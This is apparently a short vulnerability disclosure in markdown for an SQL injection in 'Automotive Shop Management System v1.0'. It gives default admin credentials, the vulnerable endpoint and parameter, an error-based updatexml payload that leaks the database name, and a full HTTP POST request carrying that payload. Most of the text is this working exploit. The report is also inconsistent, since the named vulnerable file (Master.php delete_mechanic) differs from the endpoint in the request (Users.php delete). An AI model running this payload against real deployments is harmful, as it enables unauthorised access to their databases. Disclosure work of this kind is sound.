suikirakira Create SQLi-1.md History

1 contributor

35 lines (24 sloc) | 1.24 KB

Automotive Shop Management System v1.0 by oretnom23 has SQL injection

BUG_Author: suikirakira

Login account: admin/admin123 (Super Admin account)

vendors: https://www.sourcecodester.com/php/15312/automotive-shop-management-system-phpoop-free-source-code.html

The program is built using the xmapp-php8.1 version

Vulnerability File: /asms/classes/Master.php?f=delete_mechanic

Vulnerability location: /asms/classes/Master.php?f=delete_mechanic, id

dbname =asms_db,length=7

[+] Payload: id=3 and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+ // Leak place ---> id

```
POST /asms/classes/Users.php?f=delete HTTP/1.1
Host: 192.168.1.88
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
```

```
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=0bfse7548hblm5lblclp48r057; dou_member_id=1; dou_member_code=3a2d7
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 64

id=3 and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+
```